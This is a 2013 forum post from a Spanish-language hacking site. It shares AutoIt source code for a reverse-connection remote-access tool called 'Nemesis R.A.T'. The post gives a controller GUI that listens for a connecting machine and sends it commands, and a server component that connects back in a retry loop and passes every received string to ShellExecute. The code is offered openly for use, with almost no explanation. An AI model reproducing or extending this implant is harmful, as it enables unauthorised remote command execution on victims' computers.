Visitante
Ingresar
Registrarse
Underc0de - Hacking y seguridad informática
Menu
Inicio
Website
Blog
Buscar
Calendario
Ingresar
Registrarse
Underc0de - Hacking y seguridad informática
»
Programación Scripting
»
Otros lenguajes Scripting
(Moderador:
79137913
)
[Scr] Conexión Inversa
Imprimir
Páginas: [
1
]
Ir Abajo
« anterior
próximo »
[Scr] Conexión Inversa
0 Respuestas
2619 Vistas
0 Usuarios y 1 Visitante están viendo este tema.
k0ws
Underc0der
Mensajes: 145
Actividad:
0%
Reputación 0
I'm Back
Skype: k0wsit0
[Scr] Conexión Inversa
en: Enero 29, 2013, 05:12:32 am
Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:
Código: AutoIt
;Cliente - Author k0ws
#include
<ButtonConstants.au3>
#include
<EditConstants.au3>
#include
<GUIConstantsEx.au3>
#include
<WindowsConstants.au3>
#Region
### START Koda GUI section ### Form
=
$Form1
=
GUICreate
(
"Nemesis R.A.T"
,
289
,
114
,
193
,
115
)
$Input1
=
GUICtrlCreateInput
(
""
,
8
,
8
,
273
,
21
)
$Button1
=
GUICtrlCreateButton
(
"Listen"
,
8
,
40
,
121
,
25
)
$Button2
=
GUICtrlCreateButton
(
"Close"
,
160
,
40
,
121
,
25
)
$Button3
=
GUICtrlCreateButton
(
"Send Command"
,
8
,
80
,
273
,
25
)
GUISetState
(
@SW_SHOW
)
#EndRegion
### END Koda GUI section ###
;######################################
Local
$szIPADDRESS
=
@IPAddress1
Local
$nPORT
=
3460
Local
$MainSocket
,
$ConnectedSocket
,
$szIP_Accepted
Local
$msg
,
$recv
While
1
$nMsg
=
GUIGetMsg
(
)
Switch
$nMsg
Case
$GUI_EVENT_CLOSE
Exit
Case
$Input1
Case
$Button1
TCPStartup
(
)
$MainSocket
=
TCPListen
(
$szIPADDRESS
,
$nPORT
)
If
$MainSocket
=
-
1
Then
Exit
$ConnectedSocket
=
-
1
Do
$ConnectedSocket
=
TCPAccept
(
$MainSocket
)
Until
$ConnectedSocket
<>
-
1
$szIP_Accepted
=
SocketToIP
(
$ConnectedSocket
)
GUICtrlSetData
(
$Input1
,
$szIP_Accepted
)
Case
$Button2
TCPShutdown
(
)
Case
$Button3
$szData
=
InputBox
(
"Mandar comando al servidor"
,
@LF
&
@LF
&
"Mandar orden a "
&
$szIP_Accepted
)
If
@error
Or
$szData
=
""
Then
ExitLoop
TCPSend
(
$ConnectedSocket
,
StringToBinary
(
$szData
,
4
)
)
If
@error
Then
ExitLoop
EndSwitch
WEnd
Func
SocketToIP
(
$SHOCKET
)
Local
$sockaddr
,
$aRet
$sockaddr
=
DllStructCreate
(
"short;ushort;uint;char[8]"
)
$aRet
=
DllCall
(
"Ws2_32.dll"
,
"int"
,
"getpeername"
,
"int"
,
$SHOCKET
,
_
"ptr"
,
DllStructGetPtr
(
$sockaddr
)
,
"int*"
,
DllStructGetSize
(
$sockaddr
)
)
If
Not
@error
And
$aRet
[
0
]
=
0
Then
$aRet
=
DllCall
(
"Ws2_32.dll"
,
"str"
,
"inet_ntoa"
,
"int"
,
DllStructGetData
(
$sockaddr
,
3
)
)
If
Not
@error
Then
$aRet
=
$aRet
[
0
]
Else
$aRet
=
0
EndIf
$sockaddr
=
0
Return
$aRet
EndFunc
Código: AutoIt
;Server - Author k0ws
StartSvr
(
)
Func
StartSvr
(
)
TCPStartup
(
)
Local
$ConnectedSocket
,
$szData
Local
$szIPADDRESS
=
@IPAddress1
Local
$nPORT
=
3460
$ConnectedSocket
=
-
1
$ConnectedSocket
=
TCPConnect
(
$szIPADDRESS
,
$nPORT
)
If
@error
Then
StartSvr
(
)
While
1
$recv
=
TCPRecv
(
$ConnectedSocket
,
2048
)
If
@error
Then
ExitLoop
$recv
=
BinaryToString
(
$recv
,
4
)
If
$recv
<>
""
Then
ShellExecute
(
$recv
)
WEnd
EndFunc
-Saludos-
«
Última modificación: Enero 31, 2013, 02:08:52 pm por k0ws
»
En línea
Imprimir
Páginas: [
1
]
Ir Arriba
« anterior
próximo »
Similar topics (1)
[VBS] Saber si hay conexión a internet.
Iniciado por
79137913
Respuestas: 0
Vistas: 3119
Enero 04, 2016, 09:55:57 am
por
79137913
Sponsors
Zerpens
Kali-Linux
Club Hacker
ANTRAX-LABS
Ingresar
×
Bienvenido(a),
Visitante
. Por favor,
ingresa
o
regístrate
. ¿Perdiste tu
email de activación
?
1 Hora
1 Día
1 Semana
1 Mes
Siempre
Ingresar con nombre de usuario, contraseña y duración de la sesión